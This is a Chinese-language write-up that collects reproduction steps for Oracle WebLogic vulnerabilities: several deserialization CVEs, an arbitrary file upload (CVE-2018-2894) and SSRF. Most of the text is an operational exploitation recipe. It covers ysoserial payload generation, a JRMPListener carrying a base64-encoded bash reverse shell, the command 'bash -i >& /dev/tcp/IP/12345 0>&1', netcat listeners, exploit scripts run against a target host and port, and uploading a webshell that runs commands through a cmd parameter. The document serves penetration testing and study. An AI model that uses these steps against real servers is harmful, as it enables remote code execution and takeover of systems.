Weblogic漏洞

0x01、目的

本文主要是为了整理weblogic系列漏洞,内容主要聚集在漏洞复现上,关于每个漏洞具体分析细节不予描述。

  • 1.Weblogic 反序列化漏洞
    涉及CVE号:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    CVE-2015-4852
    CVE-2016-0638
    CVE-2016-3510
    CVE-2017-3248
    CVE-2017-10271 //XML Decoder
    CVE-2018-2628 //WLS
    CVE-2018-2893
    CVE-2018-3191
    CVE-2018-3245
    CVE-2019-2725
  • 2.任意文件上传漏洞
    涉及CVE号:
    CVE-2018-2894

  • 3.Weblogic SSRF漏洞
    涉及CVE号:
    CVE-2014-4210

0x02、简述

1.反序列化漏洞

Weblogic是目前全球市场上应用最广泛的J2EE工具之一,主要用于构建J2EE应用程序。

T3协议是用于Weblogic服务器和其他Java Application之间传输信息的协议。实现RMI远程过程调用的专用协议。JAVA RMI主要用于实现远程过程调用的Application编程接口,该接口实现方式之一为:JRMP。(这些在构建后文实验过程中构造发包时都会用到)

当Weblogic发起一个T3协议连接时,Weblogic会连接每一个Java虚拟机并传输流量,通信过程得到简化,同时提高传输速率和操作系统资源利用高效化。

图1 JAVA 序列化

序列化就是将对象的状态信息转换为可以存储或传输的形式的过程,在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。
JAVA提供了一个序列化的API接口:

  • 1)可序列化的类需要实现java.io.Serializable接口
  • 2)java.io.ObjectOutputStream.writeObject() 该方法用来写序列化的对象
  • 3)java.io.ObjectInputStream.readObject(),read就是用来读序列化的对象
  • 4)中间使用二进制协议来存储对象的状态
    针对反序列化漏洞:
    如果从网络、文件、数据库等读取了不可信的数据,同时作为read方法的输入值,这个时候就会触发反序列化漏洞。

2.任意文件上传漏洞

该漏洞位于weblogic web service test page处,但是在“生产模式”下默认是不开启的,所以有一定的限制性。
当开启web服务测试页选项时,可以访问到ws_utc/config.do页面。当work home dir目录设置为ws_utc应用的静态文件css目录时,访问该目录无需权限,所以可以导致上传webshell并成功解析。

3.Weblogic SSRF漏洞

该漏洞详见SSRF漏洞基础(https://echo001.github.io/Foundation/ssrf-vulnerability-basis1/)

0x03、测试复现

该文中仅关注漏洞检测等问题并给出部分漏洞详细的复现步骤。

1.反序列化漏洞

1.1 CVE-2015-4852

测试如下:

图2 cve-2015-4852

该工具可直接获取shell

1.2 CVE-2016-0638/CVE-2016-3510/CVE-2017-3248/CVE-2018-2893

此四种漏洞,仅POC,EXP需要自行构造payload,测试如下:
连接失败返回:

图3 连接失败

正常测试成功:

图4 测试结果

1.3 CVE-2018-2628(EXP)

反弹shell
攻击步骤:

  • (1)构造payload
  • (2)设置JRMPListener
  • (3)设置nc监听
  • (4)运行exp,弹回shell

涉及命令如下:

1
2
3
4
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar JRMPClient [自己服务器IP]:1099 | xxd
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'bash -c {echo,反弹命令的base64编码}|{base64,-d}|{bash,-i}'
nc -lvvp port
Python cve-2018-2628.py TARGET_HOST TARGET_PORT

注:反弹shell的命令:

bash -i >& /dev/tcp/IP/12345 0>&1

具体操作如下所示:

  • (1)该exp是在原检测代码上改的,故需要自行生成payload进行修改。
    生成payload:

    java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar JRMPClient [自己服务器]:1099 | xxd
    

图5 生成payload

图6 替换payload
  • (2)设置JRMPListener

    java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 ‘commond’
    

图7 开启JRMPListener
  • (3)攻击机上开启监听端口:

    nc -lvvp port
    

图8 开启nc监听
  • (4)运行修改后的exp:

图9 运行exp

弹回shell:

图10 弹回shell

1.4 CVE-2018-3245(EXP)

攻击步骤同上,不赘述,具体生成payload细节有所变动

  • (1)生成payload

    java -jar ysoserial-cve-2018-3245.jar CVE_2018_3245 "自己服务器IP:1099" > poc.ser
    

图11 生成payload
  • (2)设置JRMPListener

    java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'bash -c {echo,反弹命令的base64编码}|{base64,-d}|{bash,-i}'
    

图12 设置JRMPListener
  • (3)设置nc监听

    命令:nc -lvvp port
    

图13 设置nc监听
  • (4)运行exp

    python weblogic.py TARGET_IP 7001 poc.ser
    

图14 运行exp

结果:弹回shell

图15 弹回shell

1.5 CVE-2018-3191(EXP)

攻击步骤大体同上,依旧在payload生成上有区别。

  • (1)生成payload:(根据版本不同,选择不同
    1
    2
    3
    4
    weblogic-spring-jndi-10.3.6.0.jar for weblogic:
    10.3.6.0 12.2.1.0 12.1.3.0 12.2.1.1
    weblogic-spring-jndi-12.2.1.3.jar for weblogic:
    12.2.1.3

命令:

java -jar weblogic-spring-jndi-10.3.6.0.jar rmi://自己服务器IP:1099/poc > poc.ser

图16 生成3191payload
  • (2)设置JRMPListener,同上
  • (3)开启nc监听,同上
  • (4)运行exp

    命令:python weblogic.py TARGET_IP 7001 poc.ser
    

    同上,nc监听处弹回shell

图17 3191弹回shell

1.6 CVE-2017-10271

访问网址:http://ip:port/wls-wsat/CoordinatorPortType
抓包后放入repeater,添加payload,重放。

图18 进行攻击

监听处弹回shell:

图19 cve-2017-10271 弹回shell

另增加一个检测小工具:

图20 检测10271漏洞

1.7 CVE-2019-2725

攻击步骤和cve-2017-10271类似。
访问目录:http://ip:port/_async/AsyncResponseService
抓包后放入repeater,添加payload,重放。

图21 cve-2019-2725攻击

监听处弹回shell:

图22 cve-2019-2725弹回shell

2.任意文件上传漏洞(CVE-2018-2894)

该漏洞需要开启Web服务测试页。即能访问ws_utc/config.do目录才行。
开启该测试页需要进入管理界面。选择base_domain——>高级——>开启启用Web测试服务页,如下所示。

图23 开启Web测试服务页

开启后,就可以访问
http://ip:port/ws_utc/config.do
选择通用一栏,修改work home dir为

1
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

因为访问该目录不需要权限,这个是触发漏洞的关键。
提交后,选择安全一栏——>增加,上传webshell

图24 上传webshell

上传后,查看返回数据包,找到时间戳

图25 查看返回包

根据传的webshell方式,自行选择连接方式。
连接地址为:http://ip:port/ws_utc/css/config/keystore/[时间戳]_[文件名]
此处为例,直接访问:
http://ip:port/ws_utc/css/config/keystore/[时间戳]_[文件名]?cmd=command
执行webshell,如下所示:

图26 执行webshell

3.Weblogic SSRF

参考:https://echo001.github.io/Foundation/ssrf-vulnerability-basis1/
不做赘述

0x04、总结

本文目的仅着重于整理Weblogic的相关测试方面,对于细节上漏洞形成的细节涉及的函数都未做提及。
测试中包含4个测试POC,含
CVE-2016-0638,CVE-2016-3510,CVE-2017-3248,CVE-2018-2893。根据对测试代码的分析,大部分只需要替换其中的payload即可转换为exp。
包含了5个exp,含
CVE-2018-2628,CVE-2018-3245,CVE-2018-3191,CVE-2017-10271,CVE-2019-2725。
然后再记录了一个weblogic的任意文件上传漏洞,但该漏洞需要对Web测试页启用,该配置默认是不开启的,真正生产环境中,碰到的概率相对会降低很多。
Weblogic的漏洞层出不穷,这跟其修复方式有关,补丁大部分都是添加黑名单的方式,所以能针对黑名单进行另外的绕过。这些CVE号之间大多关系密切,往往后一个就是针对前一个漏洞补丁的绕过。
文末依旧给出一张简图。

图27 weblogic漏洞总结简图

注:2和3是1的绕过,7是6的绕过,9是7的绕过。

0x05、参考网址

https://medium.com/abn-amro-red-team/java-deserialization-from-discovery-to-reverse-shell-on-limited-environments-2e7b4e14fbef
综合检测: https://www.jianshu.com/p/321716c5dcf2
综述: https://www.4hou.com/vulnerable/12874.html
https://fuping.site/2017/06/05/Weblogic-Vulnerability-Verification/
cve-2017-10271:https://github.com/hanc00l/weblogic_wls_wsat_rce
cve评级:
https://www.cvedetails.com/vulnerability-list.php?vendor_id=93&product_id=14534&version_id=&page=1&hasexp=0&opdos=0&opec=0&opov=0&opcsrf=0&opgpriv=0&opsqli=0&opxss=0&opdirt=0&opmemc=0&ophttprs=0&opbyp=0&opfileinc=0&opginf=0&cvssscoremin=0&cvssscoremax=0&year=0&month=0&cweid=0&order=1&trc=64&sha=bbe74ffeac9afcd64024038a2a865e469c359106
cnvd-2019-48814(cve-2019-2725):
https://blog.csdn.net/csacs/article/details/89531471
CVE-2016-3510:
exp1https://github.com/rapid7/metasploit-framework/blob/de6397445cd844088b73b3cb5e11bd49eebb87f2/modules/exploits/multi/misc/weblogic_deserialize_marshalledobject.rb
exp2https://github.com/Coalfire-Research/java-deserialization-exploits/tree/master/WebLogic
检测3: https://github.com/rabbitmask/WeblogicR
检测poc:
https://wsygoogol.github.io/2016/10/10/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
https://www.4hou.com/vulnerable/12874.html
CVE-2016-0638:
https://www.colabug.com/217461.html
http://www.mamicode.com/info-detail-2579160.html
https://www.butian.net/School/content/id/286
总结版本weblogic: https://xz.aliyun.com/t/2041#toc-0
CVE-2017-3248:
https://paper.seebug.org/333/
https://www.colabug.com/217461.html
CVE-2015-4852:
含反序列化漏洞分析:
https://5alt.me/2018/04/weblogic%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8E%E8%B0%83%E8%AF%95/
CVE-2018-3245(exp):
参考命令:
https://github.com/followboy1999/weblogic-deserialization/tree/master/exploit
运行脚本:
https://github.com/pyn3rd/CVE-2018-3245
CVE-2018-3252(POC)需要知道用户名,密码:没什么太多用处:
https://github.com/pyn3rd/CVE-2018-3252
分析
https://blogs.projectmoon.pw/2018/10/19/Oracle-WebLogic-Two-RCE-Deserialization-Vulnerabilities/
CVE-2018-3191(exp):
https://github.com/jas502n/CVE-2018-3191
https://github.com/followboy1999/weblogic-deserialization/tree/master/exploit/CVE-2018-3191
CVE-2019-2647:
https://paper.seebug.org/906/
https://blog.csdn.net/he_and/article/details/89843004
https://blog.51cto.com/14126565/2388415?source=dra
CVE-2019-2725:
https://github.com/SkyBlueEternal/CNVD-C-2019-48814-CNNVD-201904-961
CVE-2017-10271:
https://github.com/c0mmand3rOpSec/CVE-2017-10271